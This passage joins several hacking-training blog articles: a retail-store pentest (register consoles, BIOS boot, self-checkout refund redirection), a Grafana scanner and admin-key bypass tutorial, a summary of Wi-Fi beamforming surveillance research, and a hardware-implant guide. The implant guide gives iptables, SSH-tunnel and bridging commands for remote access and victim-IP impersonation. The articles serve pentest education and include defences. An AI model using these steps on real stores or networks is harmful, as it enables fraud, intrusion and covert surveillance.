Setting up EAP TLS with proper certificate validation on every client device helps ensure a fake network cannot simply mimic its way into a successful login. Monitoring the surrounding radio spectrum regularly is also worthwhile. Even simple, freely available tools can detect unauthorized access points broadcasting names that match or closely resemble the real corporate network. And training staff matters. If a Wi-Fi password is unexpectedly requested a second time, or a connection seems to take suspiciously long, employees should feel comfortable reporting it to security or the IT security team right away.
Day 4 – Transformer Register and Cash Drawer
A transformer register is really a combined hardware and software unit, built around a metal cash drawer, both stationary and handheld barcode scanners, and a receipt printer. Along its bottom panel often sits a row of unprotected USB ports. Plugging in an ordinary keyboard there opens the door to some experimentation.
Pressing Ctrl Alt and one of the function keys from F1 through F5 can switch the screen to a text console, prompting for a login and password. Full system access could sit right there within reach. Even if the Alt F2 shortcut for quickly launching commands has been disabled, the multi user Linux console underneath may remain fully accessible regardless.
Power cycling the device and pressing Delete could open the BIOS. Without a boot password protecting it, the machine could be booted from an outside USB drive, handing over full control of the system, along with the ability to change settings or install unwanted software.
The most interesting risk, though, waits underneath the register itself. The metal cash drawer typically has a mechanical emergency release button on its underside. If the drawer has not been locked with a physical key, which happens more often than store staff would like to admit, then any customer could simply lean down, press that button, and slide the cash right out.
No discussion of registers is complete without mentioning their close relatives, the self checkout kiosks. These are essentially the same transformer registers, just packaged in a form factor that happens to be even more exposed. USB ports, network ports, and power ports often sit within easy reach. The real difference is that a transformer register might occasionally be watched by a nearby salesperson, while a self checkout kiosk usually sits alone in a corner, without much oversight at all.
Standing casually near a kiosk for just a few minutes could be enough to observe an employee entering their access code. From there, that access could open up the kiosk’s full functionality, including the ability to ring up items, process returns, and open that same metal cash drawer hiding underneath.
How to Fix It
The solution here is fairly clear once the problem is understood. Restricting physical access to the register hardware itself, through USB port blockers, closed enclosures, and sealed covers, prevents outside devices from being connected in the first place. A BIOS password combined with disabling boot from removable media protects against attempts to seize control of the system through a flash drive.
Employee authorization deserves attention too. Since the register already comes equipped with a barcode scanner, a smart approach is issuing personal ID badges with the employee’s password encoded directly into the barcode. The employee scans their badge, the system authenticates them instantly, and the actual password stays hidden from anyone watching nearby. Leaving the alphanumeric combination off the badge entirely prevents it from being typed in manually as a way to bypass the scanner.
And of course, the lock on the cash drawer matters. If it is even possible to leave that drawer unlocked, sooner or later it probably will be. Drawers that lock automatically, without relying on a person remembering to do it, offer a much more reliable solution.
Day 5 – Refund
Consider someone playing the role of an ordinary, everyday customer. They buy a small item in the store, pay with a card, and walk away with a receipt like anyone else. Once a self checkout kiosk sits idle for a moment, tapping the top left corner of the screen could open a hidden staff menu.
An example of what such menus might look like
The system would ask for authorization. If someone types in a password they had observed a cashier enter earlier, often a simple employee ID number, that alone could be enough to land inside the cashier menu.
From there, selecting a refund by sales receipt option could display a list of recent transactions, including the very purchase just made. A further step worth testing is whether the refund could be redirected, not back to the same card used to pay, but to a completely different one, belonging to someone else entirely. You might expect the terminal to block an operation like that, or at least demand confirmation from a senior employee before proceeding. In some systems, neither of those things happens, and an ordinary cashier’s password turns out to be enough to redirect the funds elsewhere.
To its credit, a system like this may honestly display a warning that the money will be sent to a different card than the one used for payment. But it can carry out the operation anyway, without further checks.
The item would stay with the customer, the original purchase would turn into a refund on paper, and the store’s money would end up in someone else’s account. One more detail worth checking is whether the refund function has any built in time limits. Many places only allow refunds within a set window, say fourteen days, in line with consumer protection law. But in some systems, attempting to process a refund for a purchase made several months earlier goes through without any resistance at all.
This points to a deeper gap in business logic and access control. The authorization threshold can sit far too low, since a rank and file salesperson’s password may be enough to trigger a real financial operation, and that password is often easy to observe over someone’s shoulder. There may be no check to confirm the refund card actually matches the original payment card. A refund landing on a different card is not automatically suspicious on its own, since many banks and retail chains support this for customer convenience. But operations like that should require sign off from the store manager, a financially liable employee, or someone else holding proper authority. And finally, there may be no meaningful time or amount limits at all, meaning refunds could remain possible over an unlimited stretch of time, and theoretically for an unlimited amount, up to whatever balance the register happens to hold.
How to Fix It
Two tier authorization is genuinely useful here, paired with a strict time window governing refunds. Automatic refunds could be limited to the last fourteen days, with anything older switching over to manual processing, complete with multi level review and documented sign off.
Tying the refund card to the original payment card by default, as a standing rule, closes much of this gap. Cash refunds, or refunds sent to a different card, should remain the exception rather than the norm, strictly regulated and logged separately from everything else.
A dedicated audit log for every refund operation, tied clearly to the cashier’s ID, the receipt number, and the recipient card, makes it possible to review the whole trail later if something looks off.
Summary
Nothing here requires exotic tools or rare expertise. The overall picture is worth taking seriously, because a store is never just a building full of shelves and registers. It functions as a branch of the corporate infrastructure itself, a set of trusted interfaces placed out into public space, right in front of every customer who walks through the door.
But these small, easy to overlook pieces can chain together. Network access can lead to credentials, credentials can lead to internal systems, internal systems can lead to operational data, and operational data can eventually lead to real financial consequences. A useful security assessment in an environment like this does not simply end with a recommendation to close a port and set a stronger password. It ends with a more useful question worth asking. Who decided, at some point along the way, that all of these things should sit within the customer’s reach in the first place?
If you enjoy hacking and would like to get started in cybersecurity, we have created the Cybersecurity Starter Bundle II to equip you with the knowledge and skills needed to begin your journey. If you want to advance your skills even further, our Cyberwarrior Path is made to help you delve deeply into the technology and show you how to break it
During pentests, it’s not uncommon to find a Grafana somewhere inside an organization’s infrastructure. Sometimes it can even be exposed directly to the Internet. It’s always worth checking Grafana for vulnerabilities, as it has been affected by multiple security issues over the years.
What is Grafana
Grafana is an open-source monitoring and visualization platform used by organizations to display dashboards containing information collected from servers, applications, databases, cloud services and networking equipment. Administrators rely on it to monitor the health of their infrastructure in real time, making it one of the most widely deployed monitoring apps in enterprise environments. Since Grafana often connects to numerous backend services and contains valuable configuration information, compromising it can sometimes give hackers an excellent foothold into the rest of the network.
Of course, you could manually inspect every Grafana installation looking for known vulnerabilities, but that quickly becomes time-consuming, especially during larger engagements where multiple servers have to be assessed.
Fortunately, there is a Grafana-Final-Scanner. It’s a tool designed specifically to automate this process. Instead of manually checking every instance the scanner performs the work for you by checking whether the target is vulnerable to a collection of publicly known vulnerabilities.
Grafana-Final-Scanner
We’ll begin by downloading the repository and installing its dependencies.
kali > git clone https://github.com/Zierax/Grafana-Final-Scanner.git
kali > cd Grafana-Final-Scanner
kali > python3 -m venv venv
kali > source venv/bin/activate
kali > pip3 install -r requirements.txt
Once everything has been installed successfully, it’s worth taking a quick look at the list of vulnerabilities supported by the scanner.
At the time of writing, the tool is capable of checking for more than fifteen different Grafana vulnerabilities.
Now let’s point it at our target.
kali > python3 scanner.py -u https://target/grafana/login
After a short scan, the tool analyzes the target and reports any vulnerabilities it successfully identifies.
In our case, the results were promising. The scanner identified CVE-2024-8118 and an OAuth Authentication Bypass vulnerability. It also gave us the URL. We opened the page and the application asked us for an administrator key that we obviously didn’t have.
Fortunately, web applications don’t always behave exactly as their developers intended. Developers occasionally leave sensitive information inside the application’s front-end code. JavaScript, HTML comments, hardcoded credentials, authorization logic have all been discovered by hackers countless times over the years.
With that in mind, we opened the page’s HTML source code to see exactly how the authorization process was implemented. The comments were written in Russian, but the logic itself was fairly easy to understand.
Instead of verifying a specific administrator key, the application simply checked whether any key existed. So the validation routine wasn’t actually validating the value at all. It simply checked if some key was provided.
The next step was straightforward. We opened the browser’s Developer Console and manually created the expected key.
The application accepted it.
We bypassed the authentication and accessed the admin panel.
Finding a vulnerability is only part of the pentest. Understanding how the application behaves after exploitation is equally important. Sometimes the scanners get you only halfway there, while manual analysis can help you find the remaining pieces needed to fully demonstrate the impact.
It’s also a good reminder that developers occasionally leave sensitive information hidden inside client-side code. You never know what useful information may have been left behind.
Web Interface
While running the scanner from the command line works perfectly for testing targets, the project also includes a convenient web interface.
This can be useful during larger pentests where dozens of Grafana instances need to be assessed.
You can start it with this command:
kali > python scanner.py --serve --db vulndb.json
Summary
Grafana is one of the most common monitoring platforms you’ll encounter during internal and external penetration tests. Because it frequently contains sensitive operational data and often communicates with numerous backend systems, compromising it can sometimes provide hackers with an excellent entry point into an organization’s network.
Grafana-Final-Scanner can make it much easier to determine whether your Grafana is exposed to known vulnerabilities.
If you enjoy web application pentesting and would like to improve your skills for bug bounty hunting, we have our Web Application Hacking training. You’ll gain the practical knowledge and skills you need to start finding web application vulnerabilities.
The density of WiFi access points in modern cities has now reached a point where a large-scale surveillance system may be able to identify almost anyone who walks near a router, even if that person is not carrying a mobile phone. Researchers from the Karlsruhe Institute of Technology (KIT) have published a scientific paper describing this kind of system and the technology that makes it possible.
At the center of this surveillance method is a feature called beamforming, which first appeared with the WiFi 5 (802.11ac) standard in 2013–2014. The basic idea was introduced with WiFi 5, but it became much more refined and effective with WiFi 6 (802.11ax), where the technology matured into something more practical.
Beamforming
Beamforming, also called spatial filtering, is a signal processing technique used to send and receive wireless signals in specific directions rather than spreading them evenly in every direction. In simple marketing language, this is often described as a router that “does not broadcast equally everywhere anymore, but instead follows the user with a focused beam.” That description is not wrong, but it leaves out the technical depth behind the idea.
Beamforming
From an engineering point of view, beamforming works by combining several antennas into a group called an array. When the signals from these antennas are timed and lined up correctly, they boost each other in certain directions. In other directions, they cancel each other out. The result is a signal that is far more focused and efficient than older systems, which simply broadcast outward in every direction at once.
Beamforming gives both senders and receivers the ability to focus on signals coming from one direction while blocking out noise from others. Because of that, the technique is used not only in WiFi, but also in radar, sonar, seismology, wireless communications, radio astronomy, acoustics, and biomedical engineering.
Identifying People Through WiFi Signals
As radio waves move through space, they do not simply travel in a straight, clean line. They interact with the world around them in many different ways. They can pass through objects, reflect off surfaces, become absorbed, become polarized, bend around obstacles, scatter in different directions, or refract as they cross boundaries between materials. This means that when a WiFi system sends a signal and later receives it back, the final result contains information about everything the signal encountered along the way. By comparing the expected signal with the received one, it becomes possible to measure interference and use that information to correct transmission errors. But that same interference also reveals details about the environment itself.
For example, when a person enters the path of a WiFi signal, the signal changes. Human bodies affect radio waves in measurable ways. The signal may weaken, shift, scatter, or behave differently depending on movement, posture, and position. If researchers analyze these changes carefully, they can infer a surprising amount of information about the surrounding environment. They may detect whether people are present, what they are doing, and in some cases even who they are.
This whole research area has grown into a separate field known as WiFi Sensing.
Most WiFi Sensing research is presented as useful and harmless, and in many cases it really is. It can support smart-home features, occupancy detection and other practical applications. But the privacy concerns are obvious. When these methods are combined with activity recognition and the massive spread of WiFi hotspots, they can reveal highly sensitive information. One of the most troubling possibilities is that someone could be identified in the range of a hotspot and then tracked over time without ever knowing it.
Using Channel Information for Identification
There are several ways a person can be identified through WiFi. One important method relies on analysis of Channel State Information (CSI), which is sent at the physical layer of WiFi communication. CSI is detailed and useful for WiFi sensing. It gives a rich picture of how the wireless channel behaves. The problem is that CSI is not always easy to access. In many cases, it requires modified firmware and specialized hardware support, which limits how widely it can be used in practice.
Comparison of CSI-based identity recognition methods
The table above compares roughly 25 different systems, evaluating them across several key dimensions. The Paper column lists the name of each system, while the Identities column shows how many different people each system is capable of distinguishing between. The Accuracy column then reflects how reliably each system correctly identifies a person. On the technical side, the Pre-Processing column describes the signal processing techniques each system applies to clean and transform raw WiFi data before passing it to a machine learning model, and the Model Architecture column identifies what type of model is used. The Perspective column shows how subjects were positioned or moving during data collection, such as standing orthogonally, performing gestures, or typing keystrokes.
Beamforming entered the picture for a different reason. As mentioned earlier, it was introduced in WiFi 5 to improve throughput and make wireless communication more efficient. But beamforming also depends on environmental information that is similar to CSI. The difference is that this information is gathered on the transmitter side rather than the receiver side.
Comparison of BFI-based WiFi sensing methods
The key new dimensions here are the Inference column, showing the wide variety of tasks these systems tackle, from respiratory rate monitoring and crowd counting to sign language recognition.
In a typical beamforming setup, client devices send something called Beamforming Feedback Information (BFI) back to the access point. BFI is a condensed snapshot of current signal conditions. It tells the access point how the wireless channel looks so that it can adjust its transmission for better performance.
The key difference between CSI and BFI is that BFI is transmitted back to the access point without encryption. This makes it much easier to collect using standard, off-the-shelf hardware, without needing any special software modifications. That significantly lowers the bar for potential misuse. The privacy concern gets even more serious when you consider that the IEEE is already working on making WiFi sensing an official standard through the upcoming 802.11bf update and based on the current draft, without putting strong privacy protections in place.
Researchers at KIT showed that people can be identified using only BFI data, even when they are not carrying a smartphone or any other wireless device. The method does not depend on a person bringing along a tracked gadget. It works using ordinary WiFi devices already present in the environment and already communicating with one another.
Placement of TP-Link Archer BE800 access points, measurement locations, and participant walking routes in the WiFi-based identity recognition experiment
As radio waves move through space and interact with the human body, they create patterns that can be captured, analyzed, and compared. In that sense, the process starts to resemble imaging, almost as if the wireless system were building a rough picture of a scene without using a camera. The result is not a photograph in the normal sense, but the data can carry enough structure to support identity inference.
WiFi Routers as Silent Observers
“The technology turns every router into a potential surveillance device,” says Julian Todt, one of the study’s authors. “If you regularly walk past a café that has a WiFi network, you could be identified without your knowledge and later recognized by government agencies or commercial companies.”
That is a serious warning, and it captures the core concern very well. Intelligence services and cybercriminals already have many easier ways to monitor people, including compromising CCTV systems or intercepting video communications. But wireless networks are different. They create a nearly invisible surveillance layer that already exists in a huge number of places.
Unlike earlier approaches that depended on LiDAR sensors or on reflection-based systems using walls, furniture, and human bodies, this method works with standard WiFi equipment. By collecting BFI data, researchers can build representations of people from several different viewing angles. These representations are then used to distinguish one person from another, even when the number of people is large. Once the machine learning model has been trained, the identification process can happen in just a few seconds.
BFI vs CSI accuracy as the number of WiFi packets increases. BFI reaches near-perfect accuracy almost instantly, while CSI requires hundreds of packets to approach similar performance
Experimental Results
The study involved 197 participants. The researchers reported that they were able to identify individuals with nearly 100% accuracy, regardless of viewing angle or walking style. That is an impressive result, but it did not come easily. To reach that level of accuracy, the model needed a substantial amount of machine learning training. Each person in the training set performed around 20 walking passes before the model was trained.
BFI vs CSI accuracy across different walking styles. BFI maintains near-perfect accuracy regardless of how a person walks or what they carry, while CSI struggles significantly when walking styles change
During the research two TP-Link Archer BE800 routers were used. The experiment relied on channels 37 and 85. It also used two non-overlapping 160 MHz channels in the 6 GHz band available under WiFi 6E. The hardware included Intel AX210 WiFi network adapters.
Accuracy of five WiFi identification systems as the number of people grows. BFId (BFI) and LW-WiID maintain near-perfect accuracy even at 170 individuals, while competing systems degrade sharply with FreeSense dropping to near 15% at scale
The researchers stress that the technology is powerful, but also potentially dangerous. The risks are especially serious in authoritarian states, where systems like this could be used for large-scale population surveillance. In such settings, the ability to identify people without their phones, without cameras and without obvious visible monitoring would be a major privacy threat.
For that reason, the authors strongly recommend that privacy protections and security safeguards be built into the upcoming IEEE 802.11bf standard from the start, rather than added later as an afterthought.
WiFi 6 Routers as Motion Sensors
In fact, WiFi-based sensing has become so effective that some modern routers already include motion-detection features right out of the box, and manufacturers openly advertise them.
Xfinity
Features such as WiFi Motion Detection allow homeowners to monitor activity inside their homes through mobile apps, using nothing more than changes in WiFi signal patterns.
A feature designed for convenience in a home can also become part of a much broader surveillance system when deployed at scale.
Related WiFi and Bluetooth Scanning Tools
As an additional note, several tools already exist that monitor wireless activity in nearby environments. They don’t work exactly the same way as the techniques we covered earlier, but they’re still useful.
Pi.Alert scans devices connected to a WiFi network, detects unknown devices, and sends notifications when devices unexpectedly disconnect from the network. It is often used as a practical awareness tool for keeping track of what is present on a home or local network.
WireTapper discovers nearby wireless signals, including WiFi networks, Bluetooth devices, hidden cameras, vehicles, headphones, televisions, and cellular towers. It gives the user a broader view of the wireless environment around them, which can be useful for awareness and inspection.
Video
We also have an video on this topic with Master OTW and Yaniv Hoffman. In the video, OTW explains how hackers can use SDR, AI, and Wi-Fi signals to detect human movement through walls, how the technology works, and talk about practical ways to defend against it. Feel free to check it out.
Summary
As modern routers gain advanced sensing, they can also become tools for observing and identifying people through the way their bodies interact with wireless signals. The KIT research shows that this is a practical technology that can identify individuals with remarkable accuracy using ordinary WiFi hardware. Although WiFi sensing can be valuable for smart homes and automation, it also raises serious privacy concerns. Privacy protections will need to become just as important as performance improvements.
If you’re interested in Wi-Fi security, our Wi-Fi Hacking training can help you gain the necessary experience. This attack vector is often underestimated, and many organizations are vulnerable to it. It is definitely valuable in penetration testing.
Today we complete our short series on building a small persistence device. After covering how to build it in Part 1, we will now focus on its deployment and how to achieve persistence using the device we created. We will also discuss practical measures to protect your environment from attacks like this.
Persistence
An attacker finds an unattended computer and discreetly connects their device to it.
Connecting the hardware implant “in the middle” between the PC and the switch
The computer in the image above will not lose network access and will not even detect the intermediate node. The Rock Pi will transparently forward the victim’s traffic while simultaneously giving the attacker network access both toward the victim’s computer and toward the local network.
The hardware implant can be connected anywhere (from a regular computer or printer to a server room). It all depends on where the attacker managed to gain access. Its small size allows the hardware backdoor to be hidden even inside another device.
Connecting the hardware implant “in the middle” between the IP phone and the switch
The hardware implant can even be placed inside an IP phone located in a meeting room. Such rooms are often temporarily unoccupied, which an attacker can take advantage of. The device configuration also allows it to be used not only in a “man-in-the-middle” setup. It can simply be plugged into any available Ethernet port to maintain remote access.
Connecting the hardware implant to a network wall jack
Next, using all available access channels (VPN, DNS, Wi-Fi, 4G), the attacker can remotely access the device and, from there, gain access to the network. To develop further attacks, the attacker does not need to deploy all hacking tools on the device every time. The implant can act merely as a gateway, simply forwarding packets from the attacker into the network.
L3 Access
Now it is time to look at how such a device can be configured in gateway mode, providing simple Layer 3 (L3) access to the target network. Only two components are required.
The first is packet forwarding. When this kernel option is enabled, network packets can pass from one interface (VPN) to another (Ethernet) according to routing rules:
/etc/sysctl.conf
net.ipv4.ip_forward=1
The second is SNAT, which modifies the source IP address for packets that change network interfaces, in this case from VPN to Ethernet:
Pi > iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
Pi > iptables-save | sudo tee /etc/iptables.up.rules
This gives the hacker simple and convenient access to the network where the implant is placed. On the attacker’s side, all that is required is to add a route through Packet Squirrel:
kali > route add -net 10.0.0.0/8 gw packet_squirrel
kali > ping 10.10.10.10
Gaining network access to the local network where the hardware implant is placed
The attacker’s phone, which is not directly connected to the victim’s laptop, is connected to the same VPN network as the Packet Squirrel. A route is configured on the phone with Packet Squirrel as the gateway, after which the attacker gains direct network access to the internal network. This is convenient for the attacker and can be used both for stealthy access and for further attack development. However, this is only L3 access (the network layer of the OSI model), which does not provide full attack capabilities, since the attacker is not actually inside the network but uses Packet Squirrel as a gateway.
To be fully present within the network segment and to use the full arsenal of Ethernet-based attacks (from ARP to NetBIOS spoofing), the attacker needs Layer 2 (L2) access.
L2 Access
To obtain full L2 access to the network segment where the implant is located, the attacker must create an additional tunnel. The simplest way to do this is via SSH:
Since the device’s Ethernet interfaces are already connected in a bridge (br0), the attacker only needs to add a new L2 interface from SSH into this bridge:
kali > sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any
Pi > brctl addif br0 tap1
Pi > ifconfig tap1 up
The network bridge will copy every network packet from the Ethernet interfaces into this virtual interface. On the attacker’s side, a new L2 interface will also appear, receiving all packets available to the Packet Squirrel and acting as an L2 portal into the internal network segment:
kali > sudo ifconfig tap1 up
kali > sudo dhclient tap1
Now, being directly inside the network segment via Packet Squirrel, the attacker can obtain an internal IP address via DHCP. For greater stealth, they may even use the victim’s IP address:
Pi > sudo ifconfig br0 0
kali > sudo ifconfig tap1 $victim_ip/24
A small device hidden somewhere deep within a corporate network, behind a workstation, a hallway printer, an IP phone in a meeting room, or even buried in server room cabling can covertly interact with internal network nodes on behalf of the victim (using their MAC and IP address). Meanwhile, the attacker can be physically located far away.
Such a device can also be used for remote internal penetration testing, where the client simply plugs the device into the required network segment. No further action is needed. There is no need to coordinate access approvals, travel to the site, or deal with inconvenient VPN connections.
How to Defend
Using Port Security alone can prevent an attacker from accessing an unused network port, since they will not know the required MAC address. If 802.1X is also implemented, the attacker will not be able to insert a device in the middle. When connecting a Packet Squirrel, even briefly, the network link must be interrupted, which would require re-authentication.
Another defensive measure is strict physical control over Ethernet ports and devices within the enterprise network.
Summary
We showed you how a small, hidden hardware implant can give an attacker persistent and stealthy access to an internal network. By acting as a transparent bridge or gateway, the device allows remote entry without disrupting normal operations. With L3 access, the attacker gains basic connectivity, while L2 access places them fully inside the network, enabling more advanced attacks and even impersonation of legitimate devices. Physical access, even briefly, can translate into long-term compromise. That’s why strong network authentication and strict control over physical ports are critical for defense.
If you like what we’re doing here and want to advance your cybersecurity skills, check out our Cyberwarrior Path training. It’s a three-year program built around a two-tier learning curriculum. During the first 18 months, you’ll get access to a rich library of beginner to intermediate-level courses, giving you the knowledge and practical skills you need to build a strong foundation and progress with confidence.
Login
